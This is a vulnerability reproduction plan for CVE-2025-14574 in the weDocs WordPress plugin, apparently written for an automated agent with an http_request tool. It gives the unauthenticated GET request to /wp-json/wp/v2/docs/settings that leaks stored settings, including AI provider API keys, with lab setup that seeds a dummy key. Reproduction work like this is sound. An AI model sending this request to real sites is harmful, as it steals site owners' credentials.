Exploitation Research Plan: CVE-2025-14574 (weDocs Sensitive Information Exposure)

1. Vulnerability Summary

The weDocs plugin for WordPress (versions up to and including 2.1.15) contains an unauthenticated sensitive information exposure vulnerability. The plugin registers a REST API endpoint /wp-json/wp/v2/docs/settings that allows unauthenticated access to the plugin's internal settings. These settings can include sensitive third-party API keys (e.g., OpenAI, Anthropic, or Cloudflare Turnstile) used for the plugin's AI features.

The flaw exists in includes/API/SettingsApi.php within the register_api method, where the READABLE route for the settings base is defined with a permission_callback set to __return_true.

2. Attack Vector Analysis

• Endpoint: GET /wp-json/wp/v2/docs/settings
• Vulnerable Parameter: data (Query String)
• Required Value: wedocs_settings
• Authentication: None (Unauthenticated)
• Preconditions: The site must have settings saved in the wedocs_settings option (common if AI features or specific configurations are enabled).

3. Code Flow

1. Route Registration: In includes/API/SettingsApi.php, the register_api() method (lines 66-104) defines the route:
   • Namespace/Version: wp/v2
   • Base: docs/settings
   • methods: WP_REST_Server::READABLE (GET)
   • permission_callback: __return_true (Line 73)
2. Callback Execution: When a GET request is made to this route, get_items($request) is called (line 134).
3. Parameter Processing: The function retrieves the data parameter: $get_data = $request->get_param( 'data' ); (line 136).
4. Information Leak: If $get_data equals 'wedocs_settings', the code executes $value = get_option( 'wedocs_settings', array() ); and returns the entire array via rest_ensure_response( $value ).
5. Data Content: The wedocs_settings option contains nested arrays, including an ai key which stores provider configurations and api_key values (as seen in the sanitize_ai_settings logic on line 186).

4. Nonce Acquisition Strategy

No nonce is required.
The REST API route is specifically registered with 'permission_callback' => '__return_true', which bypasses the default WordPress REST API nonce check for non-public routes. Standard WordPress REST API GET requests for public resources do not require the _wpnonce parameter or X-WP-Nonce header.

5. Exploitation Strategy

The goal is to retrieve the wedocs_settings option and confirm the presence of sensitive API keys.

Step-by-Step Plan:

1. Trigger Request: Use the http_request tool to perform a GET request to the vulnerable endpoint.
2. Target URL: {{BASE_URL}}/wp-json/wp/v2/docs/settings?data=wedocs_settings
3. Payload Construction: No body is required.
4. Header: Accept: application/json
5. Analysis: Inspect the JSON response for the presence of the ai object and its providers list.

6. Test Data Setup

To demonstrate the impact, we must first populate the settings with a "sensitive" key.

1. Requirement: The plugin must be installed and active.
2. Populate Settings: Use WP-CLI to simulate an admin configuring an OpenAI API key:

   wp option update wedocs_settings '{"ai":{"default_provider":"openai","providers":{"openai":{"api_key":"sk-test-vulnerable-key-12345","model":"gpt-4"}}}}' --format=json
   

7. Expected Results

A successful exploit will return a 200 OK response with a JSON body similar to:

{
    "ai": {
        "default_provider": "openai",
        "providers": {
            "openai": {
                "api_key": "sk-test-vulnerable-key-12345",
                "model": "gpt-4"
            }
        }
    }
}

8. Verification Steps

1. Verify via API: Run the exploit request using http_request.
2. Cross-Verify via CLI: Confirm the data returned matches the database state:

   wp option get wedocs_settings --format=json
   

3. Compare Results: Ensure the api_key field in the API response matches the value set in the setup step.

9. Alternative Approaches

Target Turnstile Site Key

The plugin also exposes a specific endpoint for the Cloudflare Turnstile site key:

• Endpoint: GET /wp-json/wp/v2/docs/settings/turnstile-site-key
• Code Reference: includes/API/SettingsApi.php line 98.
• Permission: Also uses __return_true.
• Payload: No parameters required.
• Significance: While the site key is usually public, exposing it through an API endpoint allows for automated scraping of site infrastructure details.

Target Specific "Data" Keys

The get_items function currently only checks for wedocs_settings. However, researchers should check if subsequent versions or hooks (like wedocs_settings_data) allow for other sensitive keys to be leaked through the same logic.